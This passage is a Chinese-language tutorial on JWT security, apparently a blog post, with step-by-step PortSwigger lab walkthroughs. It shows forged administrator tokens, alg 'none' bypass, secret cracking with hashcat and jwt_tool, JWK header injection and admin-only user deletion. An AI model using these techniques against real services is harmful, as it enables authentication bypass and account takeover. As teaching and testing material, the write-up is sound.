企業(yè)內(nèi)部產(chǎn)品應(yīng)用使用JWT作為用戶的身份認證方式,在對應(yīng)用評估時發(fā)現(xiàn)了新的關(guān)于JWT的會話安全帶來的安全問題,后期再整理時又加入了之前遺留的部分JWT安全問題,至此匯總成一篇完整的JWT文章
簡單介紹
JWT(JSON Web Token)是一種用于身份認證和授權(quán)的開放標準,它通過在網(wǎng)絡(luò)應(yīng)用間傳遞被加密的JSON數(shù)據(jù)來安全地傳輸信息使得身份驗證和授權(quán)變得更加簡單和安全,JWT對于滲透測試人員而言可能是一種非常吸引人的攻擊途徑,因為它們不僅是讓你獲得無限訪問權(quán)限的關(guān)鍵而且還被視為隱藏了通往以下特權(quán)的途徑,例如:特權(quán)升級、信息泄露、SQLi、XSS、SSRF、RCE、LFI等
基礎(chǔ)概念
-
JWS:Signed JWT,簽名過的JWT
-
JWK:JWT的密鑰,也就是我們常說的SECRET
-
JWE:Encrypted JWT部分payload經(jīng)過加密的JWT
-
JKU:JKU(JSON Web Key Set URL)是JWT Header中的一個字段,字段內(nèi)容是一個URI,該URI用于指定用于驗證令牌秘鑰的服務(wù)器,該服務(wù)器用于回復JWK
-
X5U:X5U是JWT Header中的一個字段,指向一組X509公共證書的URL,與JKU功能類似
-
X.509標準:X.509標準是密碼學里公鑰證書的格式標準,包括TLS/SSL(WWW萬維網(wǎng)安全瀏覽的基石)在內(nèi)的眾多Internet協(xié)議都應(yīng)用了X.509證書)
基本結(jié)構(gòu)
JWT(JSON Web Token)的結(jié)構(gòu)由三部分組成,分別是Header、Payload和Signature,下面是每一部分的詳細介紹和示例:
Header
Header包含了JWT使用的算法和類型等元數(shù)據(jù)信息,通常使用JSON對象表示并使用Base64編碼,Header中包含兩個字段:alg和typ
alg(algorithm):指定了使用的加密算法,常見的有HMAC、RSA和ECDSA等算法
typ(type):指定了JWT的類型,通常為JWT
下面是一個示例Header:
{ "alg": "HS256", "typ": "JWT" }
其中alg指定了使用HMAC-SHA256算法進行簽名,typ指定了JWT的類型為JWT
Payload
Payload包含了JWT的主要信息,通常使用JSON對象表示并使用Base64編碼,Payload中包含三個類型的字段:注冊聲明、公共聲明和私有聲明
-
公共聲明(Public Claims):是自定義的字段,用于傳遞非敏感信息,例如:用戶ID、角色等
-
私有聲明(Private Claims):是自定義的字段,用于傳遞敏感信息,例如密碼、信用卡號等
-
注冊聲明(Registered Claims):預定義的標準字段,包含了一些JWT的元數(shù)據(jù)信息,例如:發(fā)行者、過期時間等
下面是一個示例Payload:
{ "sub": "1234567890", "name": "John Doe", "iat": 1516239022 }
其中sub表示主題,name表示名稱,iat表示JWT的簽發(fā)時間
Signature
Signature是使用指定算法對Header和Payload進行簽名生成的,用于驗證JWT的完整性和真實性,Signature的生成方式通常是將Header和Payload連接起來然后使用指定算法對其進行簽名,最終將簽名結(jié)果與Header和Payload一起組成JWT,Signature的生成和驗證需要使用相同的密鑰,下面是一個示例Signature
HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload),secret)
其中HMACSHA256是使用HMAC SHA256算法進行簽名,header和payload是經(jīng)過Base64編碼的Header和Payload,secret是用于簽名和驗證的密鑰,最終將Header、Payload和Signature連接起來用句點(.)分隔就形成了一個完整的JWT,下面是一個示例JWT,其中第一部分是Header,第二部分是Payload,第三部分是Signature,注意JWT 中的每一部分都是經(jīng)過Base64編碼的,但并不是加密的,因此JWT中的信息是可以被解密的
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ. SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
在線平臺
下面是一個JWT在線構(gòu)造和解構(gòu)的平臺:
https://jwt.io/
工作原理
JWT工作原理
JWT的工作流程如下:
-
用戶在客戶端登錄并將登錄信息發(fā)送給服務(wù)器
-
服務(wù)器使用私鑰對用戶信息進行加密生成JWT并將其發(fā)送給客戶端
-
客戶端將JWT存儲在本地,每次向服務(wù)器發(fā)送請求時攜帶JWT進行認證
-
服務(wù)器使用公鑰對JWT進行解密和驗證,根據(jù)JWT中的信息進行身份驗證和授權(quán)
-
服務(wù)器處理請求并返回響應(yīng),客戶端根據(jù)響應(yīng)進行相應(yīng)的操作
JKU工作原理
Step 1:用戶攜帶JWS(帶有簽名的JWT)訪問應(yīng)用
Step 2:應(yīng)用程序解碼JWS得到JKU字段
Step 3:應(yīng)用根據(jù)JKU訪問返回JWK的服務(wù)器
Step 4:應(yīng)用程序得到JWK
Step 5:使用JWK驗證用戶JWS
Step 6:驗證通過則正常響應(yīng)
漏洞攻防
簽名未校驗
驗證過程
JWT(JSON Web Token)的簽名驗證過程主要包括以下幾個步驟:
-
分離解構(gòu):JWT的Header和Payload是通過句點(.)分隔的,因此需要將JWT按照句點分隔符進行分離
-
驗證簽名:通過使用指定算法對Header和Payload進行簽名生成簽名結(jié)果,然后將簽名結(jié)果與JWT中的簽名部分進行比較,如果兩者相同則說明JWT的簽名是有效的,否則說明JWT的簽名是無效的
-
驗證信息:如果JWT的簽名是有效的則需要對Payload中的信息進行驗證,例如:可以驗證JWT中的過期時間、發(fā)行者等信息是否正確,如果驗證失敗則說明JWT是無效的
下面是一個使用JAVA進行JWT簽名驗證的示例代碼:
import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; public class JWTExample { private static final String SECRET_KEY = "my_secret_key"; public static void main(String[] args) { // 構(gòu)建 JWT String jwtToken = Jwts.builder() .setSubject("1234567890") .claim("name", "John Doe") .setIssuedAt(new Date()) .setExpiration(new Date(System.currentTimeMillis() + 3600000)) // 1 hour .signWith(SignatureAlgorithm.HS256, SECRET_KEY) .compact(); // 驗證 JWT try { // 分離 Header, Payload 和 Signature String[] jwtParts = jwtToken.split("\."); String header = jwtParts[0]; String payload = jwtParts[1]; String signature = jwtParts[2]; // 驗證簽名 String expectedSignature = Jwts.parser() .setSigningKey(SECRET_KEY) .parseClaimsJws(jwtToken) .getSignature(); if (!signature.equals(expectedSignature)) { throw new RuntimeException("Invalid JWT signature"); } // 驗證 Payload 中的信息 Claims claims = Jwts.parser() .setSigningKey(SECRET_KEY) .parseClaimsJws(jwtToken) .getBody(); System.out.println("Valid JWT"); } catch (Exception e) { System.out.println("Invalid JWT: " + e.getMessage()); } } }
在上面的示例代碼中使用jwt庫進行JWT的簽名和驗證,首先構(gòu)建了一個JWT,然后將其分離為Header、Payload和Signature三部分,使用parseClaimsJws函數(shù)對JWT進行解析和驗證,從而獲取其中的Payload中的信息并進行驗證,最后如果解析和驗證成功,則說明JWT是有效的,否則說明JWT是無效的,在實際應(yīng)用中應(yīng)該將SECRET_KEY替換為應(yīng)用程序的密鑰
漏洞案例
JWT庫會通常提供一種驗證令牌的方法和一種解碼令牌的方法,比如:Node.js庫jsonwebtoken有verify()和decode(),有時開發(fā)人員會混淆這兩種方法,只將傳入的令牌傳遞給decode()方法,這意味著應(yīng)用程序根本不驗證簽名,而我們下面的使用則是一個基于JWT的機制來處理會話,由于實現(xiàn)缺陷服務(wù)器不會驗證它收到的任何JWT的簽名,如果要解答實驗問題,您需要修改會話令牌以訪問位于/admin的管理面板然后刪除用戶carlos,您可以使用以下憑據(jù)登錄自己的帳戶peter
靶場地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature
演示步驟:
Step 1:點擊上方的"Access the Lab"訪問靶場并登錄賬戶
Step 2:進入到Web界面并登錄靶場賬戶
wiener:peter
登錄之后會看到如下一個更新郵箱的界面
Step 3:此時在我們的burpsuite中我們可以看到如下的會話信息
此時查詢當前用戶可以看到會顯示當前用戶為wiener:
截取上面中間一部分base64編碼的部分更改上面的sub為"administrator"
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MDA4M30
構(gòu)造一個sub為"administrator"的載荷并將其進行base64編碼處理:
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTAwODN9
替換之后重新發(fā)送請求:
按照題目要求訪問/admin路徑,發(fā)現(xiàn)兩個刪除用戶的調(diào)用接口:
請求敏感鏈接——刪除用戶carlos
GET /admin/delete?username=carlos HTTP/1.1
完成靶場的解答:
簽名用None
場景介紹
在JWT的Header中alg的值用于告訴服務(wù)器使用哪種算法對令牌進行簽名,從而告訴服務(wù)器在驗證簽名時需要使用哪種算法,目前可以選擇HS256,即HMAC和SHA256,JWT同時也支持將算法設(shè)定為"None",如果"alg"字段設(shè)為"None",則標識不簽名,這樣一來任何token都是有效的,設(shè)定該功能的最初目的是為了方便調(diào)試,但是若不在生產(chǎn)環(huán)境中關(guān)閉該功能,攻擊者可以通過將alg字段設(shè)置為"None"來偽造他們想要的任何token,接著便可以使用偽造的token冒充任意用戶登陸網(wǎng)站
{ "alg": "none", "typ": "JWT" }
漏洞案例
實驗靶場:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification
實驗流程:
Step 1:點擊上方的"Access the lab"訪問靶場環(huán)境
https://0a9c00a8030ba77784d7b92d00cc0086.web-security-academy.net/
Step 2:使用賬戶密碼進行登錄
wiener:peter
Step 3:登錄之后可以看到如下界面
Step 4:捕獲到的數(shù)據(jù)報信息如下所示
截取JWT的第二部分對其進行base64解碼:
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MzQ5M30
將上述的sub字段值更改為"administrator"
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTM0OTN9
Step 4:在使用wiener用戶的憑據(jù)訪問/admin是會提示401 Unauthorized
Step 5:將第一步分的alg參數(shù)改為none
eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJSUzI1NiJ9
更改之后的header部分:
eyJraWQiOiIyNmNlNGNmMi0wYjFhLTQzZTUtOWYzNy1kOTA2ZjkxZmY2MzkiLCJhbGciOiJub25lIn0=
替換JWT Token中的第二部分為之前我們構(gòu)造的信息,同時移除簽名部分,再次請求數(shù)據(jù)獲取到敏感數(shù)據(jù)鏈接
調(diào)用敏感鏈接移除用戶信息,完成解題操作:
密鑰暴力猜解
密鑰介紹
在JT中密鑰用于生成和驗證簽名,因此密鑰的安全性對JWT的安全性至關(guān)重要,一般來說JWT有以下兩種類型的密鑰:
-
對稱密鑰:對稱密鑰是一種使用相同的密鑰進行加密和解密的加密算法,在JWT中使用對稱密鑰來生成和驗證簽名,因此密鑰必須保密,只有發(fā)送方和接收方知道,由于對稱密鑰的安全性取決于密鑰的保密性,因此需要采取一些措施來保護它
-
非對稱密鑰:非對稱密鑰使用公鑰和私鑰來加密和解密數(shù)據(jù),在JWT中使用私鑰生成簽名,而使用公鑰驗證簽名,由于公鑰可以公開,因此非對稱密鑰通常用于驗證方的身份
下面是一個使用JWT和對稱密鑰的JAVA示例代碼:
import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import java.util.Date; public class JWTExample { private static final String SECRET_KEY = "mysecretkey"; // 設(shè)置密鑰 public static void main(String[] args) { String token = createJWT("123456"); // 生成JWT System.out.println(token); String result = parseJWT(token); // 驗證JWT System.out.println(result); } public static String createJWT(String id) { // 設(shè)置JWT過期時間為1小時 long nowMillis = System.currentTimeMillis(); Date now = new Date(nowMillis); long expMillis = nowMillis + 3600000; // 1小時 Date exp = new Date(expMillis); // 生成JWT String token = Jwts.builder() .setId(id) .setIssuer("issuer") .setSubject("subject") .setIssuedAt(now) .setExpiration(exp) .signWith(SignatureAlgorithm.HS256, SECRET_KEY) .compact(); return token; } public static String parseJWT(String token) { // 驗證JWT是否合法 String result = ""; try { result = Jwts.parser() .setSigningKey(SECRET_KEY) .parseClaimsJws(token) .getBody() .getId(); } catch (Exception e) { e.printStackTrace(); } return result; } }
下面是一個使用JWT和非對稱密鑰的Java示例代碼,代碼中使用了RSA算法生成非對稱密鑰對:
import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.SignatureAlgorithm; import io.jsonwebtoken.security.Keys; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.PublicKey; import java.util.Date; public class JWTExample { private static final String ISSUER = "example.com"; private static final String SUBJECT = "user@example.com"; public static void main(String[] args) throws Exception { KeyPair keyPair = generateKeyPair(); String token = createJWT(ISSUER, SUBJECT, keyPair.getPrivate()); System.out.println(token); Claims claims = parseJWT(token, keyPair.getPublic()); System.out.println(claims.getIssuer()); System.out.println(claims.getSubject()); } public static String createJWT(String issuer, String subject, PrivateKey privateKey) { Date now = new Date(); Date expiration = new Date(now.getTime() + 3600 * 1000); // 1 hour return Jwts.builder() .setIssuer(issuer) .setSubject(subject) .setIssuedAt(now) .setExpiration(expiration) .signWith(privateKey, SignatureAlgorithm.RS256) .compact(); } public static Claims parseJWT(String token, PublicKey publicKey) { return Jwts.parserBuilder() .setSigningKey(publicKey) .build() .parseClaimsJws(token) .getBody(); } public static KeyPair generateKeyPair() throws NoSuchAlgorithmException { KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA"); generator.initialize(2048); return generator.generateKeyPair(); } }
在這個示例中我們使用了Java中的KeyPairGenerator類來生成一個2048位的RSA密鑰對,然后使用私鑰生成JWT,使用公鑰驗證JWT,在創(chuàng)建JWT時我們設(shè)置了JWT的頒發(fā)者、主題、簽發(fā)時間和過期時間并使用signWith()方法和SignatureAlgorithm.RS256算法使用私鑰進行簽名,在驗證JWT時我們使用公鑰來解析JWT并獲取聲明的內(nèi)容,在實際的研發(fā)編碼中我們一方面要妥善保管密鑰,另一方面需要使用較為復雜難以被猜解的密鑰作為密鑰首選,例如:隨機字母+數(shù)字的32位長度組合
漏洞案例
在實現(xiàn)JWT應(yīng)用程序時,開發(fā)人員有時會犯一些錯誤,比如:忘記更改默認密碼或占位符密碼,他們甚至可能復制并粘貼他們在網(wǎng)上找到的代碼片段然后忘記更改作為示例提供的硬編碼秘密,在這種情況下攻擊者使用眾所周知的秘密的單詞列表來暴力破解服務(wù)器的秘密是很容易的,下面是一個公開已知密鑰列表:
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
在這里我們也建議使用hashcat來強力破解密鑰,您可以手動安裝hashcat,也可以在Kali Linux上使用預先安裝好的hashcat,您只需要一個來自目標服務(wù)器的有效的、簽名的JWT和一個眾所周知的秘密的單詞表然后就可以運行以下命令,將JWT和單詞列表作為參數(shù)傳入:
hashcat -a 0 -m 16500 <jwt> <wordlist>
Hashcat會使用單詞列表中的每個密鑰對來自JWT的報頭和有效載荷進行簽名,然后將結(jié)果簽名與來自服務(wù)器的原始簽名進行比較,如果有任何簽名匹配,hashcat將按照以下格式輸出識別出的秘密以及其他各種詳細信息,由于hashcat在本地機器上運行不依賴于向服務(wù)器發(fā)送請求,所以這個過程非常快,即使使用一個巨大的單詞表一旦您確定了密鑰,您就可以使用它為任何JWT報頭和有效載荷生成有效的簽名
<jwt>:<identified-secret>
靶場地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
實驗步驟:
Step 1:點擊上述"Access the lab"進入到靶場環(huán)境
Step 2:使用以下賬戶進行登錄操作
wiener:peter
Step 3:捕獲到如下有效的JWT憑據(jù)信息
eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw
Step 5:使用字典進行暴力猜解操作
方式一:HashCat
項目地址:https://github.com/hashcat/hashcat
項目使用:
#命令格式: hashcat -a 0 -m 16500 <jwt> <wordlist> #執(zhí)行示例: hashcat -m 16500 jwt.txt -a 0 secrets.txt --force
方式二:jwt_tool
項目地址:https://github.com/ticarpi/jwt_tool
項目介紹:此項目主要用于JWT安全脆弱性評估,目前支持如下幾種安全評估測試
-
(CVE-2015-2951) The alg=none signature-bypass vulnerability
-
(CVE-2016-10555) The RS/HS256 public key mismatch vulnerability
-
(CVE-2018-0114) Key injection vulnerability
-
(CVE-2019-20933/CVE-2020-28637) Blank password vulnerability
-
(CVE-2020-28042) Null signature vulnerability
Step 1:克隆項目到本地
https://github.com/ticarpi/jwt_tool
Step 2:安裝依賴庫
pip3 install pycryptodomex
Step 3:運行jwt_tool并查看用法信息
python3 jwt_tool.py -h
usage: jwt_tool.py [-h] [-b] [-t TARGETURL] [-rc COOKIES] [-rh HEADERS] [-pd POSTDATA] [-cv CANARYVALUE] [-np] [-nr] [-M MODE] [-X EXPLOIT] [-ju JWKSURL] [-S SIGN] [-pr PRIVKEY] [-T] [-I] [-hc HEADERCLAIM] [-pc PAYLOADCLAIM] [-hv HEADERVALUE] [-pv PAYLOADVALUE] [-C] [-d DICT] [-p PASSWORD] [-kf KEYFILE] [-V] [-pk PUBKEY] [-jw JWKSFILE] [-Q QUERY] [-v] [jwt] positional arguments: jwt the JWT to tinker with (no need to specify if in header/cookies) options: -h, --help show this help message and exit -b, --bare return TOKENS ONLY -t TARGETURL, --targeturl TARGETURL URL to send HTTP request to with new JWT -rc COOKIES, --cookies COOKIES request cookies to send with the forged HTTP request -rh HEADERS, --headers HEADERS request headers to send with the forged HTTP request (can be used multiple times for additional headers) -pd POSTDATA, --postdata POSTDATA text string that contains all the data to be sent in a POST request -cv CANARYVALUE, --canaryvalue CANARYVALUE text string that appears in response for valid token (e.g. "Welcome, ticarpi") -np, --noproxy disable proxy for current request (change in jwtconf.ini if permanent) -nr, --noredir disable redirects for current request (change in jwtconf.ini if permanent) -M MODE, --mode MODE Scanning mode: pb = playbook audit er = fuzz existing claims to force errors cc = fuzz common claims at - All Tests! -X EXPLOIT, --exploit EXPLOIT eXploit known vulnerabilities: a = alg:none n = null signature b = blank password accepted in signature s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack) k = key confusion (specify public key with -pk) i = inject inline JWKS -ju JWKSURL, --jwksurl JWKSURL URL location where you can host a spoofed JWKS -S SIGN, --sign SIGN sign the resulting token: hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p) rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr) es256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr) ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr) -pr PRIVKEY, --privkey PRIVKEY Private Key for Asymmetric crypto -T, --tamper tamper with the JWT contents (set signing options with -S or use exploits with -X) -I, --injectclaims inject new claims and update existing claims with new values (set signing options with -S or use exploits with -X) (set target claim with -hc/-pc and injection values/lists with -hv/-pv -hc HEADERCLAIM, --headerclaim HEADERCLAIM Header claim to tamper with -pc PAYLOADCLAIM, --payloadclaim PAYLOADCLAIM Payload claim to tamper with -hv HEADERVALUE, --headervalue HEADERVALUE Value (or file containing values) to inject into tampered header claim -pv PAYLOADVALUE, --payloadvalue PAYLOADVALUE Value (or file containing values) to inject into tampered payload claim -C, --crack crack key for an HMAC-SHA token (specify -d/-p/-kf) -d DICT, --dict DICT dictionary file for cracking -p PASSWORD, --password PASSWORD password for cracking -kf KEYFILE, --keyfile KEYFILE keyfile for cracking (when signed with 'kid' attacks) -V, --verify verify the RSA signature against a Public Key (specify -pk/-jw) -pk PUBKEY, --pubkey PUBKEY Public Key for Asymmetric crypto -jw JWKSFILE, --jwksfile JWKSFILE JSON Web Key Store for Asymmetric crypto -Q QUERY, --query QUERY Query a token ID against the logfile to see the details of that request e.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a -v, --verbose When parsing and printing, produce (slightly more) verbose output. If you don't have a token, try this one: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
Step 4:暴力猜解密鑰
#命令格式 python3 jwt_tool.py JWT_HERE -C -d dictionary.txt #執(zhí)行示例 python3 jwt_tool.py eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw -C -d secrets.txt
附加擴展:
#嘗試破解密鑰(HMAC算法) python3 jwt_tool.py JWT_HERE -C -d dictionary.txt #嘗試使用已知的公鑰對不對稱密碼(RS-,EC-,PS-)進行"密鑰混淆"攻擊 python3 jwt_tool.py JWT_HERE -K -pk my_public.pem #嘗試使用"無"算法來創(chuàng)建未驗證的令牌 python3 jwt_tool.py JWT_HERE -A #處理JSON Web密鑰存儲文件,重建公共密鑰,然后測試密鑰以查看驗證令牌的密鑰 python3 jwt_tool.py JWT_HERE -J -jw jwks.json #生成一個新的RSA密鑰對,將公鑰作為JSON Web密鑰存儲對象注入令牌并使用私鑰對令牌簽名 python3 jwt_tool.py JWT_HERE -I #欺騙遠程JWKS:生成新的RSA密鑰對,將提供的URL注入令牌,將公共密鑰導出為JSON Web密鑰存儲對象(以提供的URL進行服務(wù))并使用私鑰對令牌簽名 python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json
Step 5:隨后在網(wǎng)頁端重新設(shè)置密鑰(secret1)并重新產(chǎn)生的字符串
Header:
eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9 {"kid":"ccf8b97a-94fe-4c7d-9b61-276f0654c2eb","alg":"HS256"}
payload(前):
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5OTk1OX0 {"iss":"portswigger","sub":"wiener","exp":1687799959}
payload(新):
{"iss":"portswigger","sub":"administrator","exp":1687799959} eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9
Signer:
E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0
最終高權(quán)限的JWT token如下:
eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9.E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0
Step 6:訪問/admin路徑
Step 7:調(diào)用接口刪除用戶完成解答
JWT頭部注入
場景介紹
如果服務(wù)器端使用一個非常脆弱的密鑰,我們甚至有可能一個字符一個字符地來暴力破解這個密鑰,根據(jù)JWS規(guī)范只有alg報頭參數(shù)是強制的,然而在實踐中JWT報頭通常包含幾個其他參數(shù),以下是攻擊者特別感興趣的:
-
jwk(JSON Web Key):提供一個代表密鑰的嵌入式JSON對象
-
jku(JSON Web Key Set URL):提供一個URL,服務(wù)器可以從這個URL獲取一組包含正確密鑰的密鑰
-
kid(密鑰id):提供一個ID,在有多個密鑰可供選擇的情況下服務(wù)器可以用它來識別正確的密鑰,根據(jù)鍵的格式這可能有一個匹配的kid參數(shù)
這些用戶可控制的參數(shù)每個都告訴接收方服務(wù)器在驗證簽名時應(yīng)該使用哪個密鑰,下面我們將介紹如何利用這些參數(shù)來注入使用您自己的任意密鑰而不是服務(wù)器的密鑰簽名修改過的JWT
注入場景1
下面我們介紹如何通過JWK參數(shù)注入自簽名的JWT,JWS(JSON Web Signature)規(guī)范描述了一個可選的jwk header參數(shù),服務(wù)器可以使用該參數(shù)以jwk格式將其公鑰直接嵌入令牌本身,您可以在下面的JWT head中看到具體的示例:
{ "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG", "typ": "JWT", "alg": "RS256", "jwk": { "kty": "RSA", "e": "AQAB", "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG", "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m" } }
理想情況下服務(wù)器應(yīng)該只使用有限的公鑰白名單來驗證JWT簽名,然而錯誤配置的服務(wù)器有時會使用jwk參數(shù)中嵌入的鍵值,您可以通過使用自己的RSA私鑰對修改后的JWT進行簽名,然后在jwk頭中嵌入匹配的公鑰來利用這種行為,Burpsuite的JWT Editor擴展提供了一個有用的功能來幫助您測試此漏洞,您可以在Burp中手動添加或修改JWT參數(shù)
靶場地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection
Step 1:點擊"ACCESS THE LAB"訪問靶場
Step 3:點擊"My Account"登錄系統(tǒng)
wiener:peter
Step 4:登錄之后可以看到如下郵箱更新界面
Step 5:下面我們開始操作,不過在此之前我們得先武器化以下自己,在Burpsuite界面選擇"Extender"選項卡,緊接著點擊"BApp Store"安裝"JWT Editor"
之后你可以看到如下的選項卡界面
Step 6:生成一個新的RSA密鑰
{ "p": "8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU", "kty": "RSA", "q": "1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8", "d": "Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ", "e": "AQAB", "kid": "fa018615-0392-4d15-89bb-a2c637d9adbd", "qi": "XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks", "dp": "0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0", "dq": "QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M", "n": "ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w" }
Step 7:刷新頁面攔截到請求并將請求發(fā)送到Repeat模塊
Step 8:在Repeat模塊,我們切換到JSON Web Token選項卡,修改JWT的有效負載將sub內(nèi)容修改為administrator
Step 9:點擊"Attack",然后選擇"Embedded JWK",出現(xiàn)提示時選擇您新生成的RSA密鑰
Step 10:之后成功越權(quán)
Step 11:調(diào)用敏感操作接口刪除carlos用戶完成解題
注入場景2
有些服務(wù)器可以使用jku(jwk Set URL)頭參數(shù)來引用包含密鑰的JWK集,而不是直接使用JWK頭參數(shù)來嵌入公鑰,當驗證簽名時,服務(wù)器從這個URL獲取相關(guān)的密鑰,這里的JWK集其實是一個JSON對象,包含一個代表不同鍵的JWK數(shù)組,下面是一個簡單的例子:
